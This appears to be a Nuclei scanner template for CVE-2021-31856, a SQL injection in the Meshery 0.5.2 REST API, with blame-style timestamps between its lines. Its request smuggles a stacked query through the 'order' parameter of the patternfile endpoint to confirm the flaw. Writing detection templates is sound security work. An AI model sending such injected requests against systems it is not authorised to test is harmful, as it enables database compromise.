2021-09-01 12:15:54 +00:00
id : CVE-2021-31856
info :
name : Layer5 Meshery 0.5.2 SQLi
author : princechaddha
severity : critical
2022-05-17 09:18:12 +00:00
description : A SQL Injection vulnerability in the REST API in Layer5 Meshery 0.5.2 allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
2021-09-01 12:15:54 +00:00
reference :
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
2022-05-17 09:18:12 +00:00
- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-31856
cwe-id : CWE-89
2022-04-22 10:38:41 +00:00
tags : sqli,cve,cve2021
2021-09-01 12:15:54 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5('nuclei'))&page=0&page_size=0"
matchers-condition : and
matchers :
- type : word
words :
- "709b38b27304df6257a86a60df742c4c"
part : body
- type : status
status :
- 200